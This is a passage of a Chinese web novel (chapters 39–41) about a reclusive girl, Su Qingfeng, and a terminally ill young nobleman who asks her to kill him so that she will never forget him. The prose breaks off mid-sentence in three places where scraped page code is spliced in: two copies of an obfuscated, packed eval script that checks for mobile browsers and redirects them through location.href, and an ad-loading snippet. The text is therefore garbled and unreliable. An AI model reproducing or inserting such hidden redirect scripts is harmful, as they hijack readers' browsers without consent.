“因为我的模样跟一般的人有些不太一样,所以有些人会怕我是妖怪。”少年摸了摸自己湿漉漉的头发。他那头浅色的长发被水浸湿后颜色深了些许,像是淡淡的烟墨。“但其实我只是患了一种怪病……不会传给别人的。我不是吃人的妖怪,也不会给你惹麻烦,所以不用顾忌——阿嚏!” 他终于忍不住打了个喷嚏。不待他接着说下去,苏青枫已经从地上利落地爬了起来,“站得起来么?” 少年一愣,有点艰难地想要站起身。他好像还是没什么力气,或者是摔进溪里时撞伤了腿,动作有些踉跄。苏青枫见他摇摇晃晃,正想着要不要伸手扶他一把,少年已经靠自己站稳了。于是她收回手道:“我家就在前面,你跟着我走吧。” 她方才拒绝少年,不过是因为不想跟别人有什么牵扯。但那少年话里话外都说尽了,她不是不懂人情世故的人,也想不出再拒绝的理由。她当然也可以直接掉头就走,不过她毕竟孤身一个女孩家,不愿平白得罪别人。 何况少年提的也不是什么过分的要求。她看出少年并没有恶意。 如果她当时真的掉头走了,大概也无济于事吧?冥冥中苏青枫有种奇怪的预感,无论她怎么做,她跟这位白衣少年都不会缘尽于此。 两人在倒影中对视的那一眼,仿佛在瞬息之间确定了某种命运。 “呵呵,”少年掩嘴笑了起来,很是开心的样子,“那就打扰啦。我叫季亡哀。” “你是……那个季氏?” 河步乡隶属白马郡。而在白马郡内,提到季姓,有些见识的人第一想到的都是那个季家。前任季氏家主官至尚书,而如今当家的季醇虽未入仕,但广有交游,在当地却依然极有名望。然而据说季醇有个极为宠爱的独子,却始终未见于人,因此外界纷纷猜测是否确有其人。 说来季家的人跟苏度光也曾打过交道,因而苏青枫知道季家确实有个孩子。她立即猜测身后这个神秘的少年就是那位季氏的小公子。 “呀,原来你知道我。”季亡哀点了点头,只不过因为他始终低着头,所以点头的幅度很小。苏青枫一直偏头通过水中的倒影观察季亡哀,他却只是垂眸盯着自己的脚步。全神贯注看路的季亡哀又道:“其实我也猜到你是谁了……令尊是苏度光吧?我读过他写的《金玉赋》,今天却真的见到赋里的‘金玉’啦。” “我不是金玉。”苏青枫说,“我叫苏青枫。” 想了想她又补上一句:“青色的青,枫树的枫。” “湛湛江水兮上有枫,是个好名字啊。”季亡哀信口念出一句古辞,又思索了一下,“你知道我的名字是哪两个字么?” “亡故的亡,哀伤的哀。”苏青枫脱口而出。 “咦,你怎么知道?”少年有些惊讶。 “这两个读音的字很少。”苏青枫道,“是取自‘生荣亡哀’这个词么?” “没错!”季亡哀轻轻拍了拍手,颇有种遇见知己的高兴,“虽然这两个字听着有点不祥,不过寓意是好的……活着的时候受人尊敬,死后令人哀痛,应该要是什么德行不一般的人才能做到吧。” “既然如此,为何不取名‘生荣’?”苏青枫突然问。 季亡哀因为她跳脱的提问愣了一下,“这个嘛……我也问过父亲。好像我的名字是请一个术师起的,大概跟命理玄学有关吧。” “死后哀痛又能怎样呢。”苏青枫脸上带着一丝微笑,顺口接话。她的笑容跟季亡哀有些相似,都含着与人亲善的意思,可看久了她的表情却显得有些空洞,仿佛只是一层纸糊上去的,随时都能剥落下来。 “或许……”季亡哀停顿了一下,慢慢道,“或许不能怎样吧。不过,我希望我死的时候,会有人为我痛彻心腑。” 他说话时依然是笑吟吟的,好像只是有点任性的玩笑话。苏青枫却微微一挑眉梢。她听在耳中,觉得季亡哀不像在说一件遥远得可以当作笑话的事,而是在述说什么触手可及的事情。 他说他患了怪病……究竟是什么呢?从季亡哀的身上,苏青枫没有看出如母亲一般病患之人常有的挥之不去的忧愁。 面前是一座茅屋,苏青枫停下脚步,将这些多余的想法也一并截断,“到了。” 她推开屋门,季亡哀却没有紧随她进屋,仍旧站在原地望着脚尖,“苏姑娘,你先回屋换身干爽的衣服吧,换好衣裳再叫我进屋就好了。” 苏青枫忽地明白了季亡哀为何一直低着头——她原以为是小公子不愿让别人看到自己狼狈的模样,然而他刻意别开视线只是为了避免看她。她的衣服也都湿透了,但其实粗布衣裳沉甸甸挂在身上,没有沾水轻衣透的香艳,也根本显不出什么身材来。她全不在乎自己的狼狈,再说反正两人都是落汤鸡的样子。 但当时的苏青枫还不会即兴故意说些捉弄的话,所以没有开口调侃季亡哀,自顾自进屋换好了衣服。她动作很快,免得季亡哀在冷风里等太久。她再次打开屋门,白衣少年终于抬起头来,眸光掠过她的脸,旋即一双眼睛像月牙一样弯了起来。 这是苏青枫第一次与季亡哀正面相对。她却依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624222|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得自己好像在看一个镜花水月般的影子。 也许是因为她第一眼看到了他的目光。他的目光如同剪了一寸春水而来,流动不定,里面像是盈盈承载了许多东西,又像是至清至净,分外纯粹。 “打扰啦。”季亡哀又说了一遍,快步走进屋中。他的确冻得有些受不了了。 苏青枫在灶里烧起了火,季亡哀就在灶前的条凳上拍了拍,规规矩矩地坐了下来。那张条凳长可供两人并排坐下,季亡哀特意留出了一半的位置,“苏姑娘也受了寒,一起烤一烤火吧。” 他说话行事总是自然妥帖,让人没法拒绝。苏青枫在他身边坐下,客套了一句:“灶房里灰尘多,还请不要介意。” “我衣服上早就沾了泥,应该是我要担心脏了你家的凳子才是。”季亡哀露齿一笑。映着火光,他苍白的脸庞终于浮现了一抹暖色。苏青枫忍不住打量着他滴水的发梢,因为母亲久病,她也养成了照顾人的习惯。现在她极想拿块布来把季亡哀的头发擦干。 两人就这样静静烤着火,一时间都没再说话,沉默中却好像有一种默契,并不让人觉得厌烦。 良久之后,季亡哀忽然认真道:“苏姑娘救命之恩,我会准备一份薄礼酬谢。” “不必了,我也不缺什么。”苏青枫想也不想便回绝了。她对于谢礼倒是无所谓,但她戴不起“救命恩人”这顶高帽,毕竟那条溪本来估计也淹不死季亡哀。而且“救命之恩”这种一听便好似千钧重负的东西,她可不想背着。 就像父母血亲……她如今本能地要远离这种太过深重的关系。 “可是这也是人之常情吧?若是不做报答,我欠着苏姑娘的情,心中会觉得很不安哪。”季亡哀歪歪头,非常诚恳地说,“如果换作今日是我救了苏姑娘,苏姑娘也会尽力报答我的吧?” 苏青枫无话可说。 “其实我耍了个小小的计谋。”季亡哀又说,“我是有意跟到姑娘家里来的……当然我不会做什么坏事啦,只是这样之后就能找到苏姑娘了。” 他挠了挠头,“还望姑娘不要像前朝的洁惠侯一样,为了逃避谢礼,躲到深山里面去啊。我做不到像文公那样放火烧山,身子骨又弱,要在山里找人会很辛苦的,就请苏姑娘体谅体谅我吧。” 他一边开玩笑似的说着,一边站起身来。他身上的衣服已经差不多烘干了,只是原本雪白的衣裳上东一块西一块都是污泥的痕迹,看起来有点滑稽。季亡哀理了理衣服,尽量显得像是无事发生,“我走啦。” 苏青枫也站了起来,她理该说些什么告别的话,但她从诗文里读来的离情别辞都太深远了,而她跟这个少年只是素不相识的陌生人,点一点头就能算道别了。 “不用担心,我认得回去的路。”季亡哀挥了挥手,“那就明日再见了。” 说完后他就走向门口。直到打开门离去,他都没有再回过头,走得意外的快和果断。 转眼间屋子里又只剩下了苏青枫一个人。她望着门口的一方天光,恍然觉得刚刚像是有一只白鸟飞入屋中,短暂盘旋之后又倏然飞去,不曾留下一点痕迹。 这样了无羁绊不也挺好的么?但是离开之前,为什么要留下来日再见的约定呢? 苏青枫叹了口气。罕见的,她产生了一丝烦恼的情绪。 39. 怎堪多情(三) 次日,苏青枫正在绣一幅青山图,忽然听到门板被不轻不重叩响了两声。 “苏姑娘?”来人的声音夹杂在潺潺的溪水声中,柔和一如水声。 苏青枫看看才开始绣的一抹山色,只能把针线撂开,起身去开门。门外果然站着季亡哀——却也仅仅只有他一个人。 “季公子。”苏青枫微笑回应。 “苏姑娘身体无恙吧?”季亡哀问候道。 “我没事。”苏青枫打量了一眼季亡哀。他面色还是一样的苍白,但言笑如常,昨日的落水于他应当也没有大碍。 “那就好。苏姑娘独自一人居住,我担心苏姑娘一个人受寒生病却没人照应。没事我就放心啦。”季亡哀举起手里拎着的一个布囊,“不过我还是带了些药材来,都是普通的草药,苏姑娘泡水喝就好。” “多谢。” “应该是我要向苏姑娘说多谢才对。”季亡哀将草药递过去,爽朗道,“不过这可不算谢礼啊,否则这区区几株草,就算苏姑娘不介意,传出去也会让别人觉得季氏太吝啬了。” “草药和千金在我看来都是一样的,季公子真的不必多费心了。”苏青枫道,“若是看重声名的话,季公子今日又为何只带一袋草药、而不是一袋金银来呢?” “正是因为如此,我才不会直接送给你金银了事啊。”季亡哀微微肃容,“旁人收到金帛珠玉会欢喜雀跃,苏姑娘却不会。若收礼之人心中不喜,所赠之礼又有何意义呢——若是苏姑娘最近急用钱财,我自然也可以奉赠些许,不过这跟谢礼还是不一样的。”他竖起一根手指,像是要给“谢礼”画出一条分明的界限来。 这下只怪她多嘴说什么“草药和千金都是一样的”,否则让季亡哀送一车金子过来便也一了百了了。不过恐怕季亡哀也会拒绝吧——不是因为索要的东西太贵重,而是因为他能看出苏青枫并非爱财之人。 她稍微捻开布袋往里瞄了一眼,里面装的果真都是些普通的草药。以季家的资财,要拿些珍稀的药材也是轻而易举,季亡哀却只拿了这些寻常的草药来,不知是怕她因贵重不收,还是有意为之后正式的谢礼留一个由头。 苏青枫抬起头,“既然如此,我想要的东西只有一个。” 见她有主动索求的东西,季亡哀似乎有些诧异,“是什么?” “我想要季公子不要再来找我了。”苏青枫还是微笑。 “……”季亡哀眼睛转了转,“你讨厌我么?” 昨日苏青枫拒绝领他回家时,他也用了差不多的话术。苏青枫却无可奈何——她的确不是因为讨厌季亡哀才不愿接近他的。而季亡哀似乎也分外确信这一点。 “我并不讨厌季公子,只是我向来喜欢清静。若是常常有客来访,难免会有些不自在。所以还请季公子不要再来找我了。”她言辞委婉,但其中的意味很强硬。 “不可以。” 季亡哀笑着说。他出乎意料地断然否决。 “因为我是个自私的人,就算苏姑娘不想见我,可我想见苏姑娘。苏姑娘就权当是山中的狸猫偶尔来家中窜一圈吧。我会尽量不打扰苏姑娘的。” 他眼角微微下垂,双眼弯弯笑起来分外温柔可爱。难怪说这个孩子深受季醇宠爱。他的笑脸的确太讨人喜欢。 “……为什么想见我?” 苏青枫有点不解了。季亡哀的言行看上去就像是倾心于她——但她看出季亡哀虽然对她有一种特别的着意,但那并不像是恋情。 “因为给苏姑娘的谢礼我还没想好。”季亡哀把话巧妙地又绕了回来,郑重其事道,“如果不了解苏姑娘,怎么能送出称心如意的礼物呢?” 他都说到了这个地步,苏青枫只好回道:“那我就拭目以待了。” 季亡哀笑笑,那时苏青枫只觉得他的笑意中有一种奇异的信心,令她对那份所谓的谢礼也不免生出几分好奇:“我送的东西,一定会让苏姑娘心动不已的。” 第三天,季亡哀没有来。第四天,他也没有出现。第五天,苏青枫正在溪边洗衣服,季亡哀忽然出现了,却只是简单寒暄两句,就好像只是路过一般,径直往山里去了。直到傍晚他回来再次路过苏青枫住的地方,又报平安似的浅浅打了个招呼。 苏青枫十七岁那一年的春天格外漫长。从前她每天的生活几乎都一成不变,因此一天天过得似乎格外快,过去再久的日子也仿佛只是昨日而已。而现在每隔三五天,白衣小公子就会出现一次,有时跟苏青枫闲聊一阵,有时只是呆在一边静静看她刺绣。有一回苏青枫有事外出,回来时看见季亡哀正搬了个板凳,脸上盖着一把蒲扇,悠哉游哉地晒着太阳。 这么多天过去,季亡哀已经熟到能够自如出入苏青枫的屋子了。 但无论两人表面再熟稔,苏青枫心中始终刻意存着几分疏远。这并非是因为季亡哀行事有差,相反,是她害怕自己太过习惯白衣少年的陪伴。 毕竟季亡哀终有一天不会再来。也许当他想定那份谢礼的时候,两人之间的来往就该结束了。这样想来,那份尚没有影子的谢礼就像是一把悬而未决的刀,而在它落下来的时候,苏青枫必须能够抽身而去。 再悠长的春日也要过去。天气渐渐转热,已经是春末夏初了。苏青枫的那幅青山图也终于完工,她难得闲来无事,坐在溪边看季亡哀钓鱼。 季亡哀钓得很认真,自午后起已经一动不动地坐了半天,但他旁边的鱼篓里还是空空如也。 “这条溪里没什么鱼,我之前也钓过。”苏青枫看着水面的倒影说。那时她钓了一整天,最后也不过钓上两尾小鱼。此时她说这话不是为了扫兴,而是表达一种同病相怜的安慰。她没有沮丧之情,但常人总该会有些失望。 “幸好没什么鱼,否则钓上来太多,我还要发愁怎么拿回家呢。”季亡哀倒是一点也不气馁,笑眯眯地说。 他虽然像野猫一样神出鬼没,但他毕竟是从家里偷溜出来的,因此往往是白天到访,傍晚回去,像是日暮时分就要归巢的飞鸟。 正说着,鱼竿忽然微微一沉。季亡哀连忙要拽起鱼竿,但不知是不是咬钩的鱼太大,鱼竿竟然脱手飞出。事发意外,苏青枫也来不及动作,两人眼睁睁看着鱼竿掉进了溪里。 “啊呀……手滑了。”季亡哀有点懊丧地望着恢复平静的水面,然后伸了个懒腰,无奈地笑笑,好像决定原谅自己一次,“算啦,留着下次再钓吧。” 他转头却看见苏青枫正盯着他,不由眨了眨眼,“咦,怎么了?” “在想为什么你总是这样笑着的。”苏青枫终于问出了这个问题。 季亡哀算是她见过脾气最好、最易亲近的人,她最常见的就是季亡哀的各种笑容。她也曾怀疑过那副笑面是不是公卿世家用以交游的假装,但却看不出来季亡哀有作伪之处。 “这有什么为什么,当然是想笑的时候就笑啊,又没有人逼着我笑。”季亡哀挠了挠头,“你不也一直在笑么。” “所以我才想你的笑是不是也是装出来的。”苏青枫有点没头没尾地说。 季亡哀一愣。 “我对你笑的时候,都是真心在高兴的。”他轻声说。 苏青枫没有开口,季亡哀也没再说话。两人不约而同地望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644026|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着天边的晚霞出神。 “人们都说秋高气爽,”季亡哀忽然说,“我觉得夏、秋、冬三季的晴空都很高远,夏季的天明爽而高,秋季的天清爽而高,冬季的天干爽而高。唯有春季的天空,即使是晴天,望去也像是在缓缓下沉。也许是因为春季多缠绵悱恻,所以少了些爽朗之意吧。” 苏青枫往上举起胳膊虚虚一晃,一本正经道:“摸不到。” 季亡哀忍不住笑了,同样一本正经道:“不过若是反过来看,水里倒映着的天空也离我们格外近。这样就能够摸到了。” 白衣少年略微俯下身,伸手探入溪水。他白皙而瘦削的手半浸在碧色如青空的水中,五指虚握,仿佛要从流动不息的溪水中抓住什么。 “……季亡哀。” 苏青枫也不知道自己为什么突然叫了季亡哀的名字——她通常遵从待人接物的礼节,而哪怕是相熟的友人,直呼其名也未免有失礼之嫌。但等她反应过来,季亡哀已经看向她了。她甚至不知道接下来要说什么,正要摇摇头搪塞过去,季亡哀却收回手,先一步开口了:“我想好要送你什么了。” 苏青枫对上季亡哀的目光,悚然一惊。 她年纪尚小时,有一次听到父亲与母亲之间的对话。沈氏问道为何当初不拜求季氏荐举,苏度光则叹息说季醇结交八方,最擅看人;他如此欣赏自己的书文,却未主动引荐,必然是已经看出自己才华有限、心性不堪入仕。 而现在,苏青枫被季亡哀看着,忽然明白了为何说季氏最擅看人。 过去这些天来她的拒绝,她的疏离,她不曾宣之于口的犹豫,皆已被季亡哀看透。也许在最初的那一眼,从水面的倒影中,他就已经洞悉了她是怎样的人。 “你不知道为了什么而活着吧——那就为了我活下去。”季亡哀目光烁亮,“你不是神仙,又怎么会丧失七情六欲呢。湛湛江水兮上有枫……目极千里兮伤春心。你无喜无悲,只是害怕与高兴相对应的悲伤,害怕最后的离别和孤独而已。但你不用害怕我会离开,因为我要一直在这个世间活下去。” “这就是我送给你的承诺。”他朗声说。 这些天来苏青枫时时警醒自己,万万不能与季亡哀产生太过密切的关系。而这一刻她所有的心防终于不堪一击,无声地榱崩栋折。 由爱故生忧,由爱故生怖。若离于爱者,无忧亦无怖。 茅草的房屋一天天腐朽,至亲的父母也终会逝去。苏青枫早已认定,若是不要承受离散时的悲哀,那么在尚能拥有时就不要心生欢欣。既然总会离开,那在相遇时结下太深的羁绊,不过徒增分别时的痛苦罢了。 世上怎么会有永不分离的东西。 “你不会离开么?”她缓缓道。 “只要你想,就一定能找到我。虽然可能会在天涯海角之类的地方。”季亡哀偏头莞尔一笑,容色几乎令人目眩,“等我们相见的时候,我也一定还会这样对你笑的。” “万一你在骗我呢?”苏青枫快要无路可退。 “我是不是骗你不重要,重要的是你相不相信。”季亡哀提高声音,这一瞬间他的声势像是要压过漫天的晚霞,“所以,相信我吧。” 晚霞如灼,天空半边灿然半边晦暗,整片天穹仿佛在缓缓下沉。在这个太煽动人心的时刻,在这个光阴飞逝、一切显得虚幻而不可信的时刻,那个人向她许下了犹如海誓山盟一般的诺言。沧海高山尽会化为桑田,他的许诺却接近永恒。 “来爱我吧,苏青枫。” 在春日之末,白衣少年如是说。字字惊动,不容人逃避,像是招致了一场天灾。 40. 怎堪多情(四) 苏青枫已经习惯了每隔数日季亡哀就会出现一次。只不过随着入夏,他每次来访所隔的时间开始渐渐拉长。 “天气太热啦,要步行爬一趟山路实在不太容易啊。”季亡哀躲在树荫下,一边用袖子挥开飞虫,一边感慨说。 然而苦夏已尽,他前来的日子还是在逐渐减少。苏青枫倒是无所谓,就算季亡哀从某一日起不再出现,她也不会有什么怨言。因此当季亡哀忽然说要带她去一个地方,她也只是有些疑惑。 “这山里你也来过么?”她问道。季亡哀正领着她往山上爬,似乎比常年住在山中的苏青枫还要熟悉。她本来以为季亡哀来这里只是为了找她,没想到他当真进过山。 “是啊,之前我在山里闲逛,偶然发现了那个地方。”季亡哀停下脚步,左手扶着旁边的树干缓了一口气。这个山坡不算陡,但他爬得却有些吃力。稍稍歇了一下,他依然兴致勃勃道:“青枫你应该没来过吧?再往前走一段就是了。” 苏青枫摇摇头。除却有时砍柴采药之外,她并不常涉足深山。而且这里虽然风光秀丽,但终究也只是寻常山景,她想不出季亡哀要带她去看什么。 两人又往上爬了一会,周围的山林忽然变得稀疏起来。视野陡然辽阔,澄明的天空仿佛从四面八方涌来。 前面已经没有路了。他们到了一方小小的山崖。 “你看……这一树花开得很好看吧?”季亡哀累得说话都有些含糊,但还是伸手一指。 崖上没有树,而是丛生着几簇灌木。葳蕤的绿叶中,星陈着紫红色的娇美花朵。 “日及花?”苏青枫认出来了。这种花并不罕见,她也曾在山中看到过。 “原来是日及么……我也不认识这是什么花,不过这几天正值它的花时,我见它开得特别好,就带你来看了。”季亡哀认真道。 此花之所以名为日及,就是因为它朝开暮落。而现在日正中天,崖顶又没有林木遮蔽,天光豁朗,这株日及开得极艳。不过……再如何盛放,这终究也只是种普通的山花,要说是什么非得前来一观的景色,也远不至此。 苏青枫踏近一步,轻轻攀下一枝花,扬起一个笑容。与从前空泛的笑容不同,她此时的笑靥亦如花初绽,生动得会让人心折。 “很好看。”她欣然地应和季亡哀的话,想了想道,“我知道有个地方的景色也不错,以后带你去看吧。” 她却没有听到季亡哀的回答。 苏青枫转过头,看见身形单薄的少年正站在崖边。穿行山间的风已经带了点萧索的秋意,他浅色的头发和衣衫就在散漫的秋风中飘拂不定,仿佛一团云雾。 好像要被风吹入明丽的天空中。 季亡哀回过头望了苏青枫一眼,脸上还是微微的笑意,轻盈沤浮,恍若虚幻。 然后他转身,跳了下去。 他衣裳的一角堪堪擦过赶来的苏青枫的指尖。然而少女没有止步,不假思索地紧随着跳下了山崖。 这一瞬间不容苏青枫想太多,几乎本能的,她看出了那个回眸的含意——季亡哀希望她能抓住他! 失重的感觉也仅仅施加了一瞬间。苏青枫只来得及闭上眼睛,只听得耳畔訇然一声,自己也一头栽进了水里。 原来那座“山崖”并不高,只是横生的灌木恰好遮挡了视线,会让人误以为山崖下深不见底。而其实人从上面跳下去根本不会摔死……何况崖下还是个池塘。 苏青枫憋着一口气从水面探出脑袋,见季亡哀正在旁边艰难地用一条胳膊划水。幸亏离池塘边不远,她抓住他的另一条胳膊,两人扑腾一番总算上了岸。 “呵呵呵……”一爬上岸,季亡哀就莫名其妙地笑了起来,好像得逞了什么,相当开心的模样。 苏青枫简单拧了拧衣服的水,只是道:“怎么样,要回去烤火么?” “当然咯。”季亡哀笑得见牙不见眼,“这几日的天气也有些凉了呢。” 两人湿漉漉地开始往回走。 “你很喜欢跳河么?”路上,苏青枫便这么问道。 “怎么会喜欢啊。”季亡哀反倒纳闷地扬起眉毛,“这样的爱好也太奇怪了吧?” “那你今天怎么又——是故意为了让我救你么?” “又?”季亡哀却一愣,“我们第一次见面的时候,我可不是故意掉进溪里的啊。” “不是么?”苏青枫也有些惊讶,毕竟那个时机实在太巧,“我还以为你是有意要跟我搭讪。” “虽然我的确有意要跟你搭讪……但我真是不小心掉进去的。”季亡哀坦白道,“大概是因为我站得太久,有些腿软才摔倒的。” 苏青枫若有所思地沉默了一会,忽然抓住了季亡哀的手。 “哎……?” “以免你再摔倒。” 季亡哀笑了笑,任由她牵着手,悠悠地说道:“我生来就患有一种奇怪的不治之症,虽然不会导致容易生病,但体力天生就比较弱,跑跳都不及常人。而且随着年岁增长,身上的肌肉会不断衰弱,到最后手脚都没有力气再挪动,便只能瘫痪在床。神智也会逐渐衰退,变得与三岁小儿无异。” 他看向被苏青枫牵住的右手,“昨日开始,我右边的手臂就已经动不了了。” 苏青枫一怔。 她握住的那只手的确一动不动,不曾挣脱,也不曾回握。她只能感到因清瘦而凸出的骨头微微硌在掌心。也许是因为刚刚落水,手上没有温度,水淋淋的仿佛一截鬼魂的尸骨。 她更加用力地握紧。 “只是动不了而已……这么用力抓着还是会痛的。”季亡哀有点无奈地说,在茅屋前停步,抬起另一只手推开门,熟门熟路地在灶前坐下。苏青枫松开他的手去生火,他那条手臂就无力地垂了下来。 “你会下棋么?”季亡哀忽然说。 “会一点。”苏度光教过她一些棋艺,苏青枫也自学过一点,但谈不上精通,“你想下棋?不过家里没有棋。” “那就算啦,真想和你对弈一局啊。”季亡哀单手撑着脸颊,闲聊似的说,“我从小不太喜欢待在屋中,所以总是喜欢往外面跑。而待在家里的时候,我最喜欢的事就是下棋。” 琴与棋倒是寻常公子们会喜欢的风雅之物。苏青枫随口道:“是为了修身养性,还是因为聪慧好谋?” “都不是……”季亡哀垂下眼帘,忽地转换了话头,“青枫,你方才为什么跟着我跳下去了?” “你希望我跳下去吧?” “可是或许会死啊。” “你那时并不想死。”苏青枫瞥了他一眼,平心静气道,“你不会就那样寻死,所以我跳下去肯定也不会死。” “虽然你猜对了……”季亡哀歪歪头,“不过万一跳下去发现真的是悬崖,那时后悔也来不及了吧?” “那样我也不后悔。” 苏青枫淡淡道。 她顿了顿,声音微弱下去,“其实发现你要跳下去的时候,我很害怕……我爹就是失足掉下山崖而死的。” 提到苏度光的死时,那种冰雪覆盖般的漠然又爬上了她的心头。然而在看到季亡哀站在崖边的那一刹,前所未有的惊恐却如潮席卷。哪怕料定最后安然无恙,她却再不能遏制波动的情绪。 唯有面对季亡哀时,她的喜怒哀惧才会与常人无异。 “让你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 担心了,对不起。”季亡哀不再笑了,“你说得没错,我确实希望你能跟着我跳下来……我想看看你的心意。” “如果我死了,你一定会为我哀痛不已的吧?”他轻声说。 灶膛里的柴火噼啪一响。苏青枫注视着摇曳的火苗。 “但是你会一直活下去的。” “没错,我想要一直活下去。我不甘心以后只能躺在床榻上,不甘心呆傻不解人意,那样比死了还要痛苦吧?”季亡哀几近咬牙切齿地说,然后忽然放缓了语调,“所以在我变成那样之前,我要做成一件事。” 他侧头望向苏青枫,眸子在跳动的火光下映着幽幽的暗红,像是如今山上枫叶的颜色,“明日我还会再来找你的。那时候,你就杀了我吧。” “……杀了你?” 饶是苏青枫也不由呆住了。 “因为那样就能够直接转世了呀——呵呵,开玩笑的。”季亡哀笑了笑,“奈何桥上喝下孟婆汤,彻底洗去了这一世的记忆,那转世所生的也就完全是另一个人了吧。” 他正色道,“青枫,你见过鬼么?” 苏青枫摇摇头。此地没有恶鬼作祟·,而父母的魂魄也未曾入她梦中。 “所谓鬼魂,应当是生前留下了极深的羁绊,死后才无法随无常归去地府,始终徘徊人间吧。”季亡哀笑着说,但语气却不像是在说笑,“所以你一定要对我念念不忘啊,这样说不定我死后就会变作鬼来看你了。” 苏青枫默然片刻,“……变成鬼也能算活着么?” “能游荡在这个世间,能看能听能思能言,就算只是一缕阴魂,也比只是一具躯壳要好吧?” “也许你会成为只想吃人的恶鬼,也许你只会像千千万万的凡人一样踏上黄泉路。”苏青枫提醒。 “不会的!”季亡哀唇角上扬,“因为我绝对会‘活下去’!” 这个外表纤柔,向来亲切温和、不露锋芒的少年,此刻的笑容却好似君临一切。他没有刀剑,所倚仗的只有无比的自傲和无比的贪婪,却好像势在必得,他所要的一定会是掌中之物。 ……她也被包括在这个“绝对”中么? “为什么要让我来杀你?”苏青枫执拗地问,即使她已经猜到了答案。 “世上最深的羁绊,是相爱,还是相杀呢?”季亡哀轻轻叹一口气,“所以我才想让你杀了我——因为你就是世间最爱我的人。哎呀,这么说我阿爹阿娘恐怕要不同意,不过若是要让他们杀了我,他们肯定做不到吧。” 直至此时,苏青枫终于明白了当初季亡哀为什么如此中意她。至始至终这都是季亡哀的设计,从溪边那场偶然的邂逅起,却又好像皆为命中注定。 她果然会爱上他,也果然会依他所言—— “既然如此,为何要等到明日?”她望向桌上搁着的剪刀。 “现在就动手,有点太仓促了吧。就像刚提亲就要结亲一样。”季亡哀拨弄着已经烘得蓬松的发梢,一副认真考虑的神情,“既然要死,我还是想稍微死得正式一点啊。” 的确是跟结亲一样人生难得几回的事情。季亡哀大概是有意想让她铭诸心腑,再难忘却。 真是自私的人。 “好。”苏青枫说,“我会杀了你。我也绝对不会忘记你的。” 她忽然倾身过去,抱住了季亡哀。隔着微湿的衣裳,她感受到对方胸膛的震动,一下一下,是普通的、活人的心跳。 如果他变成鬼了,还能这样触碰到他么?她恍然想。 季亡哀呆了呆,伸手回抱她,动作微微有些笨拙,却很温柔。 “那就明日再见了。”他浅浅笑着说。 41. 怎堪多情(五) 绢行的张娘子觉得苏家的小姑娘有点不对劲。 “您好,一匹素绢。”苏青枫微笑着说。 天上疏疏落落下着雨,少女撑伞站在店铺前,点点滴滴的雨珠从伞缘坠落,模糊了她的脸庞。 “老价钱。”张娘子爽快道。 河步乡是个小地方,这是附近唯一一家绢行,苏青枫平日靠织绣为生,因此常常光顾这里。张娘子知道她是苏氏的孤女,既怜悯她的身世,又喜欢她谨慎有礼的为人,来往多了对她颇有个好印象。 张娘子转身去库房挑了一匹质地好的素绢,回来时被迎面拂过的冷风激得打了个哆嗦,觉得那股寒意好像直从皮肤里渗进去,不由随口感叹道:“真是一场秋雨一场凉啊。” “是啊,天是有些冷了。”苏青枫已经将钱放在了柜台上,此时伸手去拿丝绢。她撑着的伞顺势微微后倾,张娘子不经意对上她的眼神,心中陡然一惊。 她也知道苏家小姑娘性子有些淡薄,但从未见过她这样的眼神——牢牢地盯着人,仿佛是一把刀要细细剖开肚腹。却又没有刀尖那么雪亮,仅仅是一片漆黑。 一瞬间张娘子觉得自己好像在被某种非人的野兽打量,那股寒意又蹿上后颈,情不自禁地倒退了一步。 油纸伞一晃,再度遮住了苏青枫的脸,但她的目光却像是雨天的潮湿,依然笼罩着胆战心惊的张娘子。苏青枫拿好那匹素绢,没有立刻就走,而是开口道:“张姨,我最近有和什么人结仇么?” “结、结仇?我不晓得。”张娘子有些慌乱地回答。她下意识回想自己是不是近日跟苏青枫有什么过节,但上个月苏青枫来这里时,不过是像往常一样采买丝绢,脸上也笑意盈盈,莫说有什么仇怨了,心情甚至显得很好。再说苏青枫又不是那种爱惹是生非的性子,谁会与她结仇? “是么……我这些天总是想着要杀了什么人。”苏青枫轻描淡写地说,“我想定然是跟我有深仇大恨的人,可是却想不起来了。” 她从伞下看着张娘子,含笑道:“看来那个人应该不是张姨。” 她抱着素绢缓缓转身。走远几步,一点寒光蓦然一闪。 方才她靠着柜台,张娘子只能看到她的上半身。而如今苏青枫走远,张娘子才看清她腰间挂着一把剪刀,刀刃间或闪过一线黯淡的光芒。 大约这种裁布用的剪刀揣在怀里并不方便,苏青枫才挂在腰间。可是——她为何随身带着剪刀? 直到苏青枫的身影彻底消失,张娘子才松了口气,发现自己的手心都出了一层汗。 “这姑娘莫不是疯了吧……”她嘀咕道。 这些天,苏青枫觉得自己好像忘了什么;或者说从有一日醒来开始,她只莫名记得自己似乎要杀了某个人。 这个心念如此顽固地烙印在她脑海中,却又突兀得仿佛从天而降。因为她甚至不知道自己想杀了谁。 苏青枫为此苦思了好几日。 她开始随身携带一把剪子,不仅是为了方便杀掉那个不知名的人,而且她总觉得最近有什么东西在跟着自己。 例如家中的东西偶尔会轻微地移动了位置,或者她在心神恍惚时,会猛然回头四顾,觉得阴影中好像有什么东西在注视着她。 